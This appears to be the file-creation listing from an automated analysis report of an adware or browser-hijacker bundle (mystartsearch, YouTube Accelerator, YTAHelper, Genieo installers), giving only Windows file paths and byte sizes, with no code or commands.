C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\BFVUpdateM.dll (110 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\AD21.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\include\tools\misc.js (2 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\AD31.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\AD10.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\STab_Down_6.0.6.8.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\RegWrite.exe (86 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\422.db (260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (486 bytes)
C:\ProgramData\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)
C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)
%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
C:\Windows\Temp\SBCED70.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1816_YouTubeAcceleratorService.log (241917 bytes)
C:\Windows\Temp\SBCBEE4.tmp (486 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC1D33.tmp (44 bytes)
C:\Windows\Temp\SBC1610.tmp (44 bytes)
C:\Windows\Temp\SBC192D.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_1816.log (591 bytes)
C:\Windows\Temp\SBCBEC4.tmp (486 bytes)
C:\Windows\Temp\SBCBB88.tmp (486 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBCD77.tmp (98 bytes)
C:\Windows\Temp\SBC30D4.tmp (547 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
C:\Windows\Temp\SBC1F85.tmp (51193 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_23023\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_23023\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_30361\ins_shopperpro.exe (19010 bytes)
C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2F3D.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2FA0.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2936_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2936_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk3004.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_2520.log (78611 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk303B.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_1816.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk3016.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk3029.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2F8D.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2F9E.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2936.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (211318 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk303D.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1816_YouTubeAcceleratorService.log_tmp (48 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk304E.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_2520.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2FB2.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk3027.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2FB4.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2EBE.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2936_testlsp.log_tmp (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EISP0NPU.txt (136 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MPCS0FF2.txt (773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\W7Z8W3F0.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\tokyo_sprite_full[2].png (1278 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\JF6K2YZ6.txt (609 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\C3J3F0L1.txt (775 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\TT1BFXL2.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\566XASGF.txt (323 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ROYBDMZR.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\RU75KN22.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\4TS6EM2S.txt (773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NRMK4OLA\428401b2724ce34c9657f205e14d247c[1].htm (47002 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\K3YXW4HZ.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\O04QBIUW.txt (127 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5F1UJEWP.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\eula[2].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Y3I2YZ1R.txt (280 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\YHRSUJ4O.txt (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\L65PJSV9.txt (674 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\S28EM8FV.txt (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\ga[1].js (24380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3LQOH3U3.txt (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\OH9BPRDV.txt (680 bytes)
